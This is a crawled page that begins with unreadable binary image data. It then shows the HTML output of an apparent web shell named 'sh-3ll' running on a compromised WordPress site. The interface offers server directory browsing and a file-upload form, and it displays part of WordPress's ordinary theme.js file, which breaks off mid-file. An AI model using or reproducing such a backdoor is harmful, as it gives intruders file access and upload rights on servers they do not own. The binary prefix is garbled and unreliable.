Xa {	   ^j  0xe  $I ,L;v61~ HH ?    Q   矬Gw= ڣ    7 $IR3 ;GaI t Vmh   0u  \g   r ` _
 $I  aj  kaI
R'ƨ   7RK  ̮ 3 $IR  r𠁐 U83L  F  ~   ~
  dH-  P;2L;v   $I    =    	i  B ӔA     9 ! Dw 2 Z  I $ Ȕq Wi@ ¡aj  f  ~  㮄  "5՟ 9b a $I Z'" ?ԍ  _ saʸ5     D   )' 
  1 $IRk 
N …FBꗫ  闚 *` 
 _  G Gj HG )c  W $Ij    3B  c t"# = 6  X 9%5򺏓Ôq 2 $IR   N| )FBZ :  a {  F.` )  
    = 6  a $I J` _ i  %t  c׊  -ӿ p   ̘   cРC\ J $I* s   { 	 1 "  #Nk՛-S
+tw/     Ҳx  
     $I  # 7 V 	 eb /=  Q[ 
zʸ  =i` =1 ̭F%I $- 
 N$p   ^ , _ h“ | Zc~K X 1s( Sd| : B $I*  ݽ Q | ! C-     oܐV8      J( ]dj :~   $I ʭ 1 `$   p  _  k
;   a2 >  Ys?h$I  Dl8 4  3   .  v }   m   
7 UiI= & =0L g0$I  4   :
<l4T +     v     O %v  ar E wC  aj   B $IJ     x( c4T  X~˰ m厃 Rk =  ;!~ K   ν  1 $IR   L #   +=  	_   v7 ֤
 " 5  
     
O  PH $I  1 d B  '   p   ИZ ~ ܣ   o g }ڱͨ$I   
  a.  
 y s    )cK DT 
Xaj 
z7p  W  " w )c 5 $IRF     ; Ǎ   %t -   2    
  㞀   =
TA3 q 0u U B $I O 2 b< k4   o)[ 
 \ L   <T [     ,^I $I    N      2 '  }G  
 T %   
Z    Ա7 $IR ” S	L6J $fq >   emb e  `   
e Qbm 0u ?
 $I T!Sƍ' -   s  v )s#C  0 : XB   2   a 	w
I $ zbww { ."p  Pz O 
 = Ɔ \    [ 	     o($I       aw] `   E   ).K   v i : L *#gР7[  $I     yG   PI=@  R 
 4 y  R~ ̮ ´cg
I $I/< t P ͽ  h Dg o 
94    Z^k盇 ΄8  I  56  ^ W $I ^ 0   ̜ N ?4* H`237}g  +h   x o  q)  SJ@p| `  
 $I  %>     - h   O 0e O >  \ԣNߌZ  D6  R =K    ~n($I $  y 3  D>o4 b#px 2   $  yڪt   z   W   ~a   $I  ~? x<  e{W   g  ô { x$/ = {t G 0 7  e   a   B $IҀ yG  ^S 卆 "p uS 3  * E=洣  ,`9 >  '   Bww pH $IZ  ݑ nC 㧄   Pc _9  sOgw    J=l1 :mKB >     Ab<4L p   $I     b	 o1Z   Q @8 5 b ̍
S' F   , F  e   ,^I $Ij   E dù{ l4  8 Ys_ s 
Z8.  x  m"+{~  ?q,  Z D !I $  ϻ '|X h  B )=  …' ]  M >  5    r g   otԎ
獽 PH $Ij    IP   hh)n# cÔq   A' ug5qw   U &r F|1  E%I $%    ]  !' 3 AFD/;C k_` 9   
 v !ٴt PV ;  x` '  *b Qa 	w
I $I x 5 
    FC 3D   _  ~  A _ #O݆   Dv  V?<  q w +I $I {  = Z 8" .#RI   Y yj   Ǫ    =f D l 9 % M ,     a8$I $  Yw i[ 7 ݍFe $ s  1  ՋBV A? ` ]#!  oz    4zjLJ   o8$I $% @3j A  a4  ( o  
 ; p,,dya =  F9ً[  LS  PH $IJ Y Љ+3  >5"  3 9 aZ <ñh! {T pB G  
k  j}  S p   $I  lvF  .   F$I    z< 
'\   K*qq  .f <   2 Y ! S"-\I $I Yw č   jF$	w9   
\ߪB . 1 v!Ʊ   ?+  r : ^ !I $ BϹ B   
  H  " B ;L  'G[
4 U     #5> ੐ )|# o0  aڱ   $I   > }  k& 1`U# V  ?  Ys  V
x   > {t   1 [ I~D   &(I $I/{ H 0fw " q"   y %  4     I X y E~  M 3
8Xψ  L}q      E $I   [ >	 nD ? ~ s    f   
    ]o ΁ 
 cT  6"?' _ Ἣ   $I  
> ~  .f |'!      N ? ⟩    0  GKkX Z E  ] ޡ; 
    /    & ?k  
O ۘH $IR        ۀw  XӨ  < 7@  P  nS  04 a
    Ӷ p .  :  @  \IWQ J6 s S%I $   e  5  ڑ   v`  3:   x' ;  w  q_ vp gHyX Z 
  3 gЂ7{{   E     uԹ n ±  } $I $     8t;b|  5  91n  ء     Q" P     6   O 5 i    
} i R ̈́     % Q ̄p! I䮢 ]        O{ H $IR ϻ  9  s֧  	a=`- 	aB\X  0"+
5"C 1 H  b?߮    3x  3 & g ş g  g    l  _   h     Z^,`5 ?   ߎ  vĸ% ̀M! OZC2#0x    LJ  0    G w    $I $I } < {Eb + y   ; iI,`    ܚ  F     : 5  ܛ A 8   -O -| 8 K 7  s |# Z8 a& >  <  a&    /V  tb t L  ʌI $I $I $I $I $I $IRj   D  D %tEXtdate:create2022-05-31T04:40:26+00:00 !Î%tEXtdate:modify2022-05-31T04:40:26+00:00 |{2IEND B`  <!doctypehtml><head><link href="https://fonts.googleapis.com"rel="preconnect"><link href="https://fonts.gstatic.com"rel="preconnect"crossorigin><link href="https://fonts.googleapis.com/css2?family=Maven+Pro:wght@400..900&display=swap"rel="stylesheet"><link href=""rel="stylesheet"type="text/css"><title>sh-3ll</title><style>body{background-color:#f0f0f0;color:#000;margin:0;padding:0;font-family:"Maven Pro",system-ui;font-optical-sizing:auto;font-weight:<weight>;font-style:normal}table{width:100%;border-collapse:collapse;border:1px solid #ddd;box-shadow:0 0 10px rgba(0,0,0,.1)}#content .first{background-color:#f7f7f7;font-weight:700}#content tr{border:1px #252525 solid}#content tr:hover{background-color:#f0f0f0;box-shadow:0 0 10px rgba(0,0,0,.05)}h1{font-family:Roboto,sans-serif;font-size:2em;color:#444;text-align:center;margin:20px 0}a{color:#007bff;text-decoration:none}a:hover{color:#0056b3;text-decoration:underline;text-shadow:none}input,select,textarea{border:1px solid #ccc;border-radius:4px;padding:10px;font-size:1em;background-color:#fff;box-shadow:0 0 5px rgba(0,0,0,.1)}input:focus,select:focus,textarea:focus{border-color:#007bff;outline:0;box-shadow:0 0 5px rgba(0,123,255,.5)}@media (max-width:768px){table{width:100%;font-size:.9em}h1{font-size:1.5em}}</style></head><body><h1><center><a href="?">HOME</a></center></h1><table align="center"border="0"cellpadding="3"cellspacing="1"width="700"><tr><td>DIR:<a href="?path=/">/</a><a href="?path=/var">var</a>/<a href="?path=/var/www">www</a>/<a href="?path=/var/www/vhosts">vhosts</a>/<a href="?path=/var/www/vhosts/dienmaychuyennghiep.com">dienmaychuyennghiep.com</a>/<a href="?path=/var/www/vhosts/dienmaychuyennghiep.com/httpdocs">httpdocs</a>/<a href="?path=/var/www/vhosts/dienmaychuyennghiep.com/httpdocs/wp-admin">wp-admin</a>/<a href="?path=/var/www/vhosts/dienmaychuyennghiep.com/httpdocs/wp-admin/js">js</a>/</td></tr><tr><td><form method="POST"enctype="multipart/form-data">Upload File : <input type="file"name="file"> <input value="upload"type="submit"></form></td></tr><tr><td>Current File : /var/www/vhosts/dienmaychuyennghiep.com/httpdocs/wp-admin/js/theme.js</td></tr><tr><td><pre>/**
 * @output wp-admin/js/theme.js
 */

/* global _wpThemeSettings, confirm, tb_position */
window.wp = window.wp || {};

( function($) {

// Set up our namespace...
var themes, l10n;
themes = wp.themes = wp.themes || {};

// Store the theme data and settings for organized and quick access.
// themes.data.settings, themes.data.themes, themes.data.l10n.
themes.data = _wpThemeSettings;
l10n = themes.data.l10n;

// Shortcut for isInstall check.
themes.isInstall = !! themes.data.settings.isInstall;

// Setup app structure.
_.extend( themes, { model: {}, view: {}, routes: {}, router: {}, template: wp.template });

themes.Model = Backbone.Model.extend({
	// Adds attributes to the default data coming through the .org themes api.
	// Map `id` to `slug` for shared code.
	initialize: function() {
		var description;

		if ( this.get( &#039;slug&#039; ) ) {
			// If the theme is already installed, set an attribute.
			if ( _.indexOf( themes.data.installedThemes, this.get( &#039;slug&#039; ) ) !== -1 ) {
				this.set({ installed: true });
			}

			// If the theme is active, set an attribute.
			if ( themes.data.activeTheme === this.get( &#039;slug&#039; ) ) {
				this.set({ active: true });
			}
		}

		// Set the attributes.
		this.set({
			// `slug` is for installation, `id` is for existing.
			id: this.get( &#039;slug&#039; ) || this.get( &#039;id&#039; )
		});

		// Map `section.description` to `description`
		// as the API sometimes returns it differently.
		if ( this.has( &#039;sections&#039; ) ) {
			description = this.get( &#039;sections&#039; ).description;
			this.set({ description: description });
		}
	}
});

// Main view controller for themes.php.
// Unifies and renders all available views.
themes.view.Appearance = wp.Backbone.View.extend({

	el: &#039;#wpbody-content .wrap .theme-browser&#039;,

	window: $( window ),
	// Pagination instance.
	page: 0,

	// Sets up a throttler for binding to &#039;scroll&#039;.
	initialize: function( options ) {
		// Scroller checks how far the scroll position is.
		_.bindAll( this, &#039;scroller&#039; );

		this.SearchView = options.SearchView ? options.SearchView : themes.view.Search;
		// Bind to the scroll event and throttle
		// the results from this.scroller.
		this.window.on( &#039;scroll&#039;, _.throttle( this.scroller, 300 ) );
	},

	// Main render control.
	render: function() {
		// Setup the main theme view
		// with the current theme collection.
		this.view = new themes.view.Themes({
			collection: this.collection,
			parent: this
		});

		// Render search form.
		this.search();

		this.$el.removeClass( &#039;search-loading&#039; );

		// Render and append.
		this.view.render();
		this.$el.empty().append( this.view.el ).addClass( &#039;rendered&#039; );
	},

	// Defines search element container.
	searchContainer: $( &#039;.search-form&#039; ),

	// Search input and view
	// for current theme collection.
	search: function() {
		var view,
			self = this;

		// Don&#039;t render the search if there is only one theme.
		if ( themes.data.themes.length === 1 ) {
			return;
		}

		view = new this.SearchView({
			collection: self.collection,
			parent: this
		});
		self.SearchView = view;

		// Render and append after screen title.
		view.render();
		this.searchContainer
			.find( &#039;.search-box&#039; )
			.append( $.parseHTML( &#039;&lt;label for=&quot;wp-filter-search-input&quot;&gt;&#039; + l10n.search + &#039;&lt;/label&gt;&#039; ) )
			.append( view.el );

		this.searchContainer.on( &#039;submit&#039;, function( event ) {
			event.preventDefault();
		});
	},

	// Checks when the user gets close to the bottom
	// of the mage and triggers a theme:scroll event.
	scroller: function() {
		var self = this,
			bottom, threshold;

		bottom = this.window.scrollTop() + self.window.height();
		threshold = self.$el.offset().top + self.$el.outerHeight( false ) - self.window.height();
		threshold = Math.round( threshold * 0.9 );

		if ( bottom &gt; threshold ) {
			this.trigger( &#039;theme:scroll&#039; );
		}
	}
});

// Set up the Collection for our theme data.
// @has &#039;id&#039; &#039;name&#039; &#039;screenshot&#039; &#039;author&#039; &#039;authorURI&#039; &#039;version&#039; &#039;active&#039; ...
themes.Collection = Backbone.Collection.extend({

	model: themes.Model,

	// Search terms.
	terms: &#039;&#039;,

	// Controls searching on the current theme collection
	// and triggers an update event.
	doSearch: function( value ) {

		// Don&#039;t do anything if we&#039;ve already done this search.
		// Useful because the Search handler fires multiple times per keystroke.
		if ( this.terms === value ) {
			return;
		}

		// Updates terms with the value passed.
		this.terms = value;

		// If we have terms, run a search...
		if ( this.terms.length &gt; 0 ) {
			this.search( this.terms );
		}

		// If search is blank, show all themes.
		// Useful for resetting the views when you clean the input.
		if ( this.terms === &#039;&#039; ) {
			this.reset( themes.data.themes );
			$( &#039;body&#039; ).removeClass( &#039;no-results&#039; );
		}

		// Trigger a &#039;themes:update&#039; event.
		this.trigger( &#039;themes:update&#039; );
	},

	/**
	 * Performs a search within the collection.
	 *
	 * @uses RegExp
	 */
	search: function( term ) {
		var match, results, haystack, name, description, author;

		// Start with a full collection.
		this.reset( themes.data.themes, { silent: true } );

		// Trim the term.
		term = term.trim();

		// Escape the term string for RegExp meta characters.
		term = term.replace( /[-\/\\^$*+?.()|[\]{}]/g, &#039;\\$&amp;&#039; );

		// Consider spaces as word delimiters and match the whole string
		// so matching terms can be combined.
		term = term.replace( / /g, &#039;)(?=.*&#039; );
		match = new RegExp( &#039;^(?=.*&#039; + term + &#039;).+&#039;, &#039;i&#039; );

		// Find results.
		// _.filter() and .test().
		results = this.filter( function( data ) {
			name        = data.get( &#039;name&#039; ).replace( /(&lt;([^&gt;]+)&gt;)/ig, &#039;&#039; );
			description = data.get( &#039;description&#039; ).replace( /(&lt;([^&gt;]+)&gt;)/ig, &#039;&#039; );
			author      = data.get( &#039;author&#039; ).replace( /(&lt;([^&gt;]+)&gt;)/ig, &#039;&#039; );

			haystack = _.union( [ name, data.get( &#039;id&#039; ), description, author, data.get( &#039;tags&#039; ) ] );

			if ( match.test( data.get( &#039;author&#039; ) ) &amp;&amp; term.length &gt; 2 ) {
				data.set( &#039;displayAuthor&#039;, true );
			}

			return match.test( haystack );
		});

		if ( results.length === 0 ) {
			this.trigger( &#039;query:empty&#039; );
		} else {
			$( &#039;body&#039; ).removeClass( &#039;no-results&#039; );
		}

		this.reset( results );
	},

	// Paginates the collection with a helper method
	// that slices the collection.
	paginate: function( instance ) {
		var collection = this;
		instance = instance || 0;

		// Themes per instance are set at 20.
		collection = _( collection.rest( 20 * instance ) );
		collection = _( collection.first( 20 ) );

		return collection;
	},

	count: false,

	/*
	 * Handles requests for more themes and caches results.
	 *
	 *
	 * When we are missing a cache object we fire an apiCall()
	 * which triggers events of `query:success` or `query:fail`.
	 */
	query: function( request ) {
		/**
		 * @static
		 * @type Array
		 */
		var queries = this.queries,
			self = this,
			query, isPaginated, count;

		// Store current query request args
		// for later use with the event `theme:end`.
		this.currentQuery.request = request;

		// Search the query cache for matches.
		query = _.find( queries, function( query ) {
			return _.isEqual( query.request, request );
		});

		// If the request matches the stored currentQuery.request
		// it means we have a paginated request.
		isPaginated = _.has( request, &#039;page&#039; );

		// Reset the internal api page counter for non-paginated queries.
		if ( ! isPaginated ) {
			this.currentQuery.page = 1;
		}

		// Otherwise, send a new API call and add it to the cache.
		if ( ! query &amp;&amp; ! isPaginated ) {
			query = this.apiCall( request ).done( function( data ) {

				// Update the collection with the queried data.
				if ( data.themes ) {
					self.reset( data.themes );
					count = data.info.results;
					// Store the results and the query request.
					queries.push( { themes: data.themes, request: request, total: count } );
				}

				// Trigger a collection refresh event
				// and a `query:success` event with a `count` argument.
				self.trigger( &#039;themes:update&#039; );
				self.trigger( &#039;query:success&#039;, count );

				if ( data.themes &amp;&amp; data.themes.length === 0 ) {
					self.trigger( &#039;query:empty&#039; );
				}

			}).fail( function() {
				self.trigger( &#039;query:fail&#039; );
			});
		} else {
			// If it&#039;s a paginated request we need to fetch more themes...
			if ( isPaginated ) {
				return this.apiCall( request, isPaginated ).done( function( data ) {
					// Add the new themes to the current collection.
					// @todo Update counter.
					self.add( data.themes );
					self.trigger( &#039;query:success&#039; );

					// We are done loading themes for now.
					self.loadingThemes = false;

				}).fail( function() {
					self.trigger( &#039;query:fail&#039; );
				});
			}

			if ( query.themes.length === 0 ) {
				self.trigger( &#039;query:empty&#039; );
			} else {
				$( &#039;body&#039; ).removeClass( &#039;no-results&#039; );
			}

			// Only trigger an update event since we already have the themes
			// on our cached object.
			if ( _.isNumber( query.total ) ) {
				this.count = query.total;
			}

			this.reset( query.themes );
			if ( ! query.total ) {
				this.count = this.length;
			}

			this.trigger( &#039;themes:update&#039; );
			this.trigger( &#039;query:success&#039;, this.count );
		}
	},

	// Local cache array for API queries.
	queries: [],

	// Keep track of current query so we can handle pagination.
	currentQuery: {
		page: 1,
		request: {}
	},

	// Send request to api.wordpress.org/themes.
	apiCall: function( request, paginated ) {
		return wp.ajax.send( &#039;query-themes&#039;, {
			data: {
				// Request data.
				request: _.extend({
					per_page: 100
				}, request)
			},

			beforeSend: function() {
				if ( ! paginated ) {
					// Spin it.
					$( &#039;body&#039; ).addClass( &#039;loading-content&#039; ).removeClass( &#039;no-results&#039; );
				}
			}
		});
	},

	// Static status controller for when we are loading themes.
	loadingThemes: false
});

// This is the view that controls each theme item
// that will be displayed on the screen.
themes.view.Theme = wp.Backbone.View.extend({

	// Wrap theme data on a div.theme element.
	className: &#039;theme&#039;,

	// Reflects which theme view we have.
	// &#039;grid&#039; (default) or &#039;detail&#039;.
	state: &#039;grid&#039;,

	// The HTML template for each element to be rendered.
	html: themes.template( &#039;theme&#039; ),

	events: {
		&#039;click&#039;: themes.isInstall ? &#039;preview&#039;: &#039;expand&#039;,
		&#039;keydown&#039;: themes.isInstall ? &#039;preview&#039;: &#039;expand&#039;,
		&#039;touchend&#039;: themes.isInstall ? &#039;preview&#039;: &#039;expand&#039;,
		&#039;keyup&#039;: &#039;addFocus&#039;,
		&#039;touchmove&#039;: &#039;preventExpand&#039;,
		&#039;click .theme-install&#039;: &#039;installTheme&#039;,
		&#039;click .update-message&#039;: &#039;updateTheme&#039;
	},

	touchDrag: false,

	initialize: function() {
		this.model.on( &#039;change&#039;, this.render, this );
	},

	render: function() {
		var data = this.model.toJSON();

		// Render themes using the html template.
		this.$el.html( this.html( data ) ).attr( &#039;data-slug&#039;, data.id );

		// Renders active theme styles.
		this.activeTheme();

		if ( this.model.get( &#039;displayAuthor&#039; ) ) {
			this.$el.addClass( &#039;display-author&#039; );
		}
	},

	// Adds a class to the currently active theme
	// and to the overlay in detailed view mode.
	activeTheme: function() {
		if ( this.model.get( &#039;active&#039; ) ) {
			this.$el.addClass( &#039;active&#039; );
		}
	},

	// Add class of focus to the theme we are focused on.
	addFocus: function() {
		var $themeToFocus = ( $( &#039;:focus&#039; ).hasClass( &#039;theme&#039; ) ) ? $( &#039;:focus&#039; ) : $(&#039;:focus&#039;).parents(&#039;.theme&#039;);

		$(&#039;.theme.focus&#039;).removeClass(&#039;focus&#039;);
		$themeToFocus.addClass(&#039;focus&#039;);
	},

	// Single theme overlay screen.
	// It&#039;s shown when clicking a theme.
	expand: function( event ) {
		var self = this;

		event = event || window.event;

		// &#039;Enter&#039; and &#039;Space&#039; keys expand the details view when a theme is :focused.
		if ( event.type === &#039;keydown&#039; &amp;&amp; ( event.which !== 13 &amp;&amp; event.which !== 32 ) ) {
			return;
		}

		// Bail if the user scrolled on a touch device.
		if ( this.touchDrag === true ) {
			return this.touchDrag = false;
		}

		// Prevent the modal from showing when the user clicks
		// one of the direct action buttons.
		if ( $( event.target ).is( &#039;.theme-actions a&#039; ) ) {
			return;
		}

		// Prevent the modal from showing when the user clicks one of the direct action buttons.
		if ( $( event.target ).is( &#039;.theme-actions a, .update-message, .button-link, .notice-dismiss&#039; ) ) {
			return;
		}

		// Set focused theme to current element.
		themes.focusedTheme = this.$el;

		this.trigger( &#039;theme:expand&#039;, self.model.cid );
	},

	preventExpand: function() {
		this.touchDrag = true;
	},

	preview: function( event ) {
		var self = this,
			current, preview;

		event = event || window.event;

		// Bail if the user scrolled on a touch device.
		if ( this.touchDrag === true ) {
			return this.touchDrag = false;
		}

		// Allow direct link path to installing a theme.
		if ( $( event.target ).not( &#039;.install-theme-preview&#039; ).parents( &#039;.theme-actions&#039; ).length ) {
			return;
		}

		// &#039;Enter&#039; and &#039;Space&#039; keys expand the details view when a theme is :focused.
		if ( event.type === &#039;keydown&#039; &amp;&amp; ( event.which !== 13 &amp;&amp; event.which !== 32 ) ) {
			return;
		}

		// Pressing Enter while focused on the buttons shouldn&#039;t open the preview.
		if ( event.type === &#039;keydown&#039; &amp;&amp; event.which !== 13 &amp;&amp; $( &#039;:focus&#039; ).hasClass( &#039;button&#039; ) ) {
			return;
		}

		event.preventDefault();

		event = event || window.event;

		// Set focus to current theme.
		themes.focusedTheme = this.$el;

		// Construct a new Preview view.
		themes.preview = preview = new themes.view.Preview({
			model: this.model
		});

		// Render the view and append it.
		preview.render();
		this.setNavButtonsState();

		// Hide previous/next navigation if there is only one theme.
		if ( this.model.collection.length === 1 ) {
			preview.$el.addClass( &#039;no-navigation&#039; );
		} else {
			preview.$el.removeClass( &#039;no-navigation&#039; );
		}

		// Append preview.
		$( &#039;div.wrap&#039; ).append( preview.el );

		// Listen to our preview object
		// for `theme:next` and `theme:previous` events.
		this.listenTo( preview, &#039;theme:next&#039;, function() {

			// Keep local track of current theme model.
			current = self.model;

			// If we have ventured away from current model update the current model position.
			if ( ! _.isUndefined( self.current ) ) {
				current = self.current;
			}

			// Get next theme model.
			self.current = self.model.collection.at( self.model.collection.indexOf( current ) + 1 );

			// If we have no more themes, bail.
			if ( _.isUndefined( self.current ) ) {
				self.options.parent.parent.trigger( &#039;theme:end&#039; );
				return self.current = current;
			}

			preview.model = self.current;

			// Render and append.
			preview.render();
			this.setNavButtonsState();
			$( &#039;.next-theme&#039; ).trigger( &#039;focus&#039; );
		})
		.listenTo( preview, &#039;theme:previous&#039;, function() {

			// Keep track of current theme model.
			current = self.model;

			// Bail early if we are at the beginning of the collection.
			if ( self.model.collection.indexOf( self.current ) === 0 ) {
				return;
			}

			// If we have ventured away from current model update the current model position.
			if ( ! _.isUndefined( self.current ) ) {
				current = self.current;
			}

			// Get previous theme model.
			self.current = self.model.collection.at( self.model.collection.indexOf( current ) - 1 );

			// If we have no more themes, bail.
			if ( _.isUndefined( self.current ) ) {
				return;
			}

			preview.model = self.current;

			// Render and append.
			preview.render();
			this.setNavButtonsState();
			$( &#039;.previous-theme&#039; ).trigger( &#039;focus&#039; );
		});

		this.listenTo( preview, &#039;preview:close&#039;, function() {
			self.current = self.model;
		});

	},

	// Handles .disabled classes for previous/next buttons in theme installer preview.
	setNavButtonsState: function() {
		var $themeInstaller = $( &#039;.theme-install-overlay&#039; ),
			current = _.isUndefined( this.current ) ? this.model : this.current,
			previousThemeButton = $themeInstaller.find( &#039;.previous-theme&#039; ),
			nextThemeButton = $themeInstaller.find( &#039;.next-theme&#039; );

		// Disable previous at the zero position.
		if ( 0 === this.model.collection.indexOf( current ) ) {
			previousThemeButton
				.addClass( &#039;disabled&#039; )
				.prop( &#039;disabled&#039;, true );

			nextThemeButton.trigger( &#039;focus&#039; );
		}

		// Disable next if the next model is undefined.
		if ( _.isUndefined( this.model.collection.at( this.model.collection.indexOf( current ) + 1 ) ) ) {
			nextThemeButton
				.addClass( &#039;disabled&#039; )
				.prop( &#039;disabled&#039;, true );

			previousThemeButton.trigger( &#039;focus&#039; );
		}
	},

	installTheme: function( event ) {
		var _this = this;

		event.preventDefault();

		wp.updates.maybeRequestFilesystemCredentials( event );

		$( document ).on( &#039;wp-theme-install-success&#039;, function( event, response ) {
			if ( _this.model.get( &#039;id&#039; ) === response.slug ) {
				_this.model.set( { &#039;installed&#039;: true } );
			}
			if ( response.blockTheme ) {
				_this.model.set( { &#039;block_theme&#039;: true } );
			}
		} );

		wp.updates.installTheme( {
			slug: $( event.target ).data( &#039;slug&#039; )
		} );
	},

	updateTheme: function( event ) {
		var _this = this;

		if ( ! this.model.get( &#039;hasPackage&#039; ) ) {
			return;
		}

		event.preventDefault();

		wp.updates.maybeRequestFilesystemCredentials( event );

		$( document ).on( &#039;wp-theme-update-success&#039;, function( event, response ) {
			_this.model.off( &#039;change&#039;, _this.render, _this );
			if ( _this.model.get( &#039;id&#039; ) === response.slug ) {
				_this.model.set( {
					hasUpdate: false,
					version: response.newVersion
				} );
			}
			_this.model.on( &#039;change&#039;, _this.render, _this );
		} );

		wp.updates.updateTheme( {
			slug: $( event.target ).parents( &#039;div.theme&#039; ).first().data( &#039;slug&#039; )
		} );
	}
});

// Theme Details view.
// Sets up a modal overlay with the expanded theme data.
themes.view.Details = wp.Backbone.View.extend({

	// Wrap theme data on a div.theme element.
	className: &#039;theme-overlay&#039;,

	events: {
		&#039;click&#039;: &#039;collapse&#039;,
		&#039;click .delete-theme&#039;: &#039;deleteTheme&#039;,
		&#039;click .left&#039;: &#039;previousTheme&#039;,
		&#039;click .right&#039;: &#039;nextTheme&#039;,
		&#039;click #update-theme&#039;: &#039;updateTheme&#039;,
		&#039;click .toggle-auto-update&#039;: &#039;autoupdateState&#039;
	},

	// The HTML template for the theme overlay.
	html: themes.template( &#039;theme-single&#039; ),

	render: function() {
		var data = this.model.toJSON();
		this.$el.html( this.html( data ) );
		// Renders active theme styles.
		this.activeTheme();
		// Set up navigation events.
		this.navigation();
		// Checks screenshot size.
		this.screenshotCheck( this.$el );
		// Contain &quot;tabbing&quot; inside the overlay.
		this.containFocus( this.$el );
	},

	// Adds a class to the currently active theme
	// and to the overlay in detailed view mode.
	activeTheme: function() {
		// Check the model has the active property.
		this.$el.toggleClass( &#039;active&#039;, this.model.get( &#039;active&#039; ) );
	},

	// Set initial focus and constrain tabbing within the theme browser modal.
	containFocus: function( $el ) {

		// Set initial focus on the primary action control.
		_.delay( function() {
			$( &#039;.theme-overlay&#039; ).trigger( &#039;focus&#039; );
		}, 100 );

		// Constrain tabbing within the modal.
		$el.on( &#039;keydown.wp-themes&#039;, function( event ) {
			var $firstFocusable = $el.find( &#039;.theme-header button:not(.disabled)&#039; ).first(),
				$lastFocusable = $el.find( &#039;.theme-actions a:visible&#039; ).last();

			// Check for the Tab key.
			if ( 9 === event.which ) {
				if ( $firstFocusable[0] === event.target &amp;&amp; event.shiftKey ) {
					$lastFocusable.trigger( &#039;focus&#039; );
					event.preventDefault();
				} else if ( $lastFocusable[0] === event.target &amp;&amp; ! event.shiftKey ) {
					$firstFocusable.trigger( &#039;focus&#039; );
					event.preventDefault();
				}
			}
		});
	},

	// Single theme overlay screen.
	// It&#039;s shown when clicking a theme.
	collapse: function( event ) {
		var self = this,
			scroll;

		event = event || window.event;

		// Prevent collapsing detailed view when there is only one theme available.
		if ( themes.data.themes.length === 1 ) {
			return;
		}

		// Detect if the click is inside the overlay and don&#039;t close it
		// unless the target was the div.back button.
		if ( $( event.target ).is( &#039;.theme-backdrop&#039; ) || $( event.target ).is( &#039;.close&#039; ) || event.keyCode === 27 ) {

			// Add a temporary closing class while overlay fades out.
			$( &#039;body&#039; ).addClass( &#039;closing-overlay&#039; );

			// With a quick fade out animation.
			this.$el.fadeOut( 130, function() {
				// Clicking outside the modal box closes the overlay.
				$( &#039;body&#039; ).removeClass( &#039;closing-overlay&#039; );
				// Handle event cleanup.
				self.closeOverlay();

				// Get scroll position to avoid jumping to the top.
				scroll = document.body.scrollTop;

				// Clean the URL structure.
				themes.router.navigate( themes.router.baseUrl( &#039;&#039; ) );

				// Restore scroll position.
				document.body.scrollTop = scroll;

				// Return focus to the theme div.
				if ( themes.focusedTheme ) {
					themes.focusedTheme.find(&#039;.more-details&#039;).trigger( &#039;focus&#039; );
				}
			});
		}
	},

	// Handles .disabled classes for next/previous buttons.
	navigation: function() {

		// Disable Left/Right when at the start or end of the collection.
		if ( this.model.cid === this.model.collection.at(0).cid ) {
			this.$el.find( &#039;.left&#039; )
				.addClass( &#039;disabled&#039; )
				.prop( &#039;disabled&#039;, true );
		}
		if ( this.model.cid === this.model.collection.at( this.model.collection.length - 1 ).cid ) {
			this.$el.find( &#039;.right&#039; )
				.addClass( &#039;disabled&#039; )
				.prop( &#039;disabled&#039;, true );
		}
	},

	// Performs the actions to effectively close
	// the theme details overlay.
	closeOverlay: function() {
		$( &#039;body&#039; ).removeClass( &#039;modal-open&#039; );
		this.remove();
		this.unbind();
		this.trigger( &#039;theme:collapse&#039; );
	},

	// Set state of the auto-update settings link after it has been changed and saved.
	autoupdateState: function() {
		var callback,
			_this = this;

		// Support concurrent clicks in different Theme Details overlays.
		callback = function( event, data ) {
			var autoupdate;
			if ( _this.model.get( &#039;id&#039; ) === data.asset ) {
				autoupdate = _this.model.get( &#039;autoupdate&#039; );
				autoupdate.enabled = &#039;enable&#039; === data.state;
				_this.model.set( { autoupdate: autoupdate } );
				$( document ).off( &#039;wp-auto-update-setting-changed&#039;, callback );
			}
		};

		// Triggered in updates.js
		$( document ).on( &#039;wp-auto-update-setting-changed&#039;, callback );
	},

	updateTheme: function( event ) {
		var _this = this;
		event.preventDefault();

		wp.updates.maybeRequestFilesystemCredentials( event );

		$( document ).on( &#039;wp-theme-update-success&#039;, function( event, response ) {
			if ( _this.model.get( &#039;id&#039; ) === response.slug ) {
				_this.model.set( {
					hasUpdate: false,
					version: response.newVersion
				} );
			}
			_this.render();
		} );

		wp.updates.updateTheme( {
			slug: $( event.target ).data( &#039;slug&#039; )
		} );
	},

	deleteTheme: function( event ) {
		var _this = this,
		    _collection = _this.model.collection,
		    _themes = themes;
		event.preventDefault();

		// Confirmation dialog for deleting a theme.
		if ( ! window.confirm( wp.themes.data.settings.confirmDelete ) ) {
			return;
		}

		wp.updates.maybeRequestFilesystemCredentials( event );

		$( document ).one( &#039;wp-theme-delete-success&#039;, function( event, response ) {
			_this.$el.find( &#039;.close&#039; ).trigger( &#039;click&#039; );
			$( &#039;[data-slug=&quot;&#039; + response.slug + &#039;&quot;]&#039; ).css( { backgroundColor:&#039;#faafaa&#039; } ).fadeOut( 350, function() {
				$( this ).remove();
				_themes.data.themes = _.without( _themes.data.themes, _.findWhere( _themes.data.themes, { id: response.slug } ) );

				$( &#039;.wp-filter-search&#039; ).val( &#039;&#039; );
				_collection.doSearch( &#039;&#039; );
				_collection.remove( _this.model );
				_collection.trigger( &#039;themes:update&#039; );
			} );
		} );

		wp.updates.deleteTheme( {
			slug: this.model.get( &#039;id&#039; )
		} );
	},

	nextTheme: function() {
		var self = this;
		self.trigger( &#039;theme:next&#039;, self.model.cid );
		return false;
	},

	previousTheme: function() {
		var self = this;
		self.trigger( &#039;theme:previous&#039;, self.model.cid );
		return false;
	},

	// Checks if the theme screenshot is the old 300px width version
	// and adds a corresponding class if it&#039;s true.
	screenshotCheck: function( el ) {
		var screenshot, image;

		screenshot = el.find( &#039;.screenshot img&#039; );
		image = new Image();
		image.src = screenshot.attr( &#039;src&#039; );

		// Width check.
		if ( image.width &amp;&amp; image.width &lt;= 300 ) {
			el.addClass( &#039;small-screenshot&#039; );
		}
	}
});

// Theme Preview view.
// Sets up a modal overlay with the expanded theme data.
themes.view.Preview = themes.view.Details.extend({

	className: &#039;wp-full-overlay expanded&#039;,
	el: &#039;.theme-install-overlay&#039;,

	events: {
		&#039;click .close-full-overlay&#039;: &#039;close&#039;,
		&#039;click .collapse-sidebar&#039;: &#039;collapse&#039;,
